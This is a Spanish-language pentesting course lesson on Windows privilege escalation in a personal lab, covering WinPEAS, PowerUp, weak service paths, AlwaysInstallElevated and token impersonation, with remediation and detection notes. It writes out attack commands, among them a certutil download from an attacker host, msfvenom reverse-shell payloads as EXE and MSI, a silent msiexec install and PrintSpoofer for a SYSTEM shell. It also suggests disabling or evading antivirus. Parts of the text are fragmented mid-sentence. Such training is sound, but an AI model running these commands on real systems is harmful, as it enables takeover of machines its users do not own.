Parte: 3 — Hacking ético y pentesting: metodología · Fuente: Peter Kim - "The Hacker Playbook 3"; documentación oficial de Sysinternals (Microsoft) ⏱️ Duración estimada: 130 min · Nivel: Avanzado
El alumno aprenderá a enumerar un host Windows comprometido con una cuenta estándar, identificar configuraciones inseguras (servicios con rutas o permisos débiles, políticas de instalación permisivas, privilegios de token abusables) y escalar hasta SYSTEM o administrador local en un entorno de laboratorio propio, entendiendo además cómo el equipo defensivo audita y corrige cada vector.
Al finalizar, el alumno podrá:
| # | Tema | Por qué importa |
|---|---|---|
| 1 | Enumeración con WinPEAS | Detecta decenas de misconfiguraciones en minutos |
| 2 | PowerUp / PowerSploit | Automatiza auditoría de privilegios vía PowerShell |
| 3 | Unquoted service paths | Windows ejecuta rutas intermedias si no hay comillas |
| 4 | DLL hijacking en servicios | Un binario o DLL escribible se ejecuta con privilegios del servicio |
| 5 | AlwaysInstallElevated | Permite instalar MSI arbitrario como SYSTEM |
| 6 | Tokens de acceso e impersonation | Base de ataques Potato para llegar a SYSTEM |
| 7 | UAC bypass (concepto) | Explica por qué UAC no es un límite de seguridad real |
HKCU y HKLM) que, si ambas están activas, permiten a cualquier usuario instalar paquetes .msi con privilegios de SYSTEM. Característica clave: requiere ambas claves activas simultáneamente para ser explotable.SeImpersonatePrivilege puede suplantar el token de otro proceso que se conecta a él.SeImpersonatePrivilege (solo las estrictamente necesarias) reduce la superficie de ataques tipo Potato.SeImpersonatePrivilege en cuentas de servicio para escalar a SYSTEM. Característica clave: no explotan un bug de memoria, sino un diseño de autenticación NTLM local mal aislado.winPEASx64.exe/winPEASx86.exe): transferir vía certutil -urlcache -f http://IP:8000/winPEASx64.exe wp.exe desde un servidor HTTP en la máquina atacante.. .\PowerUp.ps1; Invoke-AllChecks.SeImpersonatePrivilege, usados únicamente contra la VM de laboratorio propia.Todo el laboratorio se ejecuta contra una VM Windows propia o un target de plataforma de laboratorio autorizada. Nunca contra un sistema ajeno sin autorización explícita por escrito.
whoami, whoami /priv, whoami /groups, systeminfo.certutil -urlcache -f http://IP_ATACANTE:8000/winPEASx64.exe wp.exe y luego .\wp.exe > peas.txt.wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """.accesschk.exe -uwcqv usuario NombreDelServicio.SERVICE_ALL_ACCESS o similar para tu usuario, reemplaza el binario o crea el ejecutable en la ruta intermedia con un payload generado con msfvenom -p windows/x64/shell_reverse_tcp ....reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated y la misma consulta contra HKLM.1, genera un MSI malicioso con msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f msi -o payload.msi e instálalo con msiexec /quiet /qn /i payload.msi.whoami /priv; si aparece SeImpersonatePrivilege habilitado, ejecuta un binario tipo PrintSpoofer contra un servicio local de la VM de laboratorio para obtener una shell SYSTEM.whoami mostrando nt authority\system o una cuenta administradora.Seatbelt.exe -group=all) como comprobación cruzada de los hallazgos de WinPEAS y PowerUp.schtasks /query /fo LIST /v y verifica permisos de escritura sobre el ejecutable asociado.Reto: en tu VM Windows de laboratorio (con al menos dos vectores configurados: un servicio con permisos débiles y AlwaysInstallElevated activo), obtén privilegios de SYSTEM o administrador local por dos caminos distintos.
Criterio de aceptación: el alumno entrega evidencia de whoami mostrando nt authority\system (o cuenta administradora) para cada uno de los dos métodos, con el comando exacto de explotación y la remediación correspondiente documentada.
| Síntoma / mensaje | Causa y cómo arreglar |
|---|---|
| WinPEAS bloqueado por el antivirus | Comportamiento esperado en producción; en el laboratorio, desactivar temporalmente el AV o usar la firma menos detectada |
accesschk.exe no reconocido |
Falta descargar Sysinternals Suite; agregar la carpeta al PATH o invocar con ruta absoluta |
| El servicio no reinicia tras reemplazar el binario | Faltan permisos para reiniciar el servicio; verificar con sc qc NombreServicio y usar una cuenta con SERVICE_START |
| AlwaysInstallElevated parece activo pero el MSI no eleva | Solo una de las dos claves (HKCU/HKLM) está en 1; deben estar ambas |
| PrintSpoofer falla con "Access Denied" | La cuenta no tiene SeImpersonatePrivilege habilitado; confirmar con whoami /priv |
| El payload de msfvenom es detectado de inmediato | AV moderno con firmas conocidas; en laboratorio, usar encoding o deshabilitar temporalmente el AV, nunca en producción sin autorización |
❓ ¿Es necesario tener antivirus desactivado para practicar esto? No es obligatorio, pero en el laboratorio suele desactivarse temporalmente para centrarse en la lógica de la técnica; en un pentest real, evadir EDR es una habilidad separada que se practica en otra clase.
❓ ¿UAC me protege de estos ataques? UAC filtra ejecuciones interactivas, pero Microsoft explícitamente no lo considera un límite de seguridad; muchas de estas técnicas (servicios, tokens, AlwaysInstallElevated) no dependen de UAC en absoluto.
❓ ¿Por qué SeImpersonatePrivilege suele estar presente en cuentas de servicio? Porque muchos servicios web (IIS, MSSQL) necesitan impersonar al usuario autenticado para acceder a recursos con su identidad; es funcionalidad legítima que se vuelve peligrosa si el atacante compromete ese servicio.
❓ ¿Cómo detecta un equipo azul esta escalada? Con Sysmon monitoreando creación de procesos hijos inusuales de servicios, cambios en binarios de servicios (integridad de archivos), auditoría de claves AlwaysInstallElevated vía GPO, y alertas sobre uso de privilegios sensibles (Event ID 4672).
❓ ¿WinPEAS y PowerUp encuentran exactamente lo mismo? No siempre: WinPEAS cubre un espectro más amplio de misconfiguraciones del sistema operativo, mientras que PowerUp está más enfocado en objetos de PowerShell/AD; usarlos juntos da una cobertura más completa que confiar en uno solo.
Clase 076 — Escalada de privilegios en Linux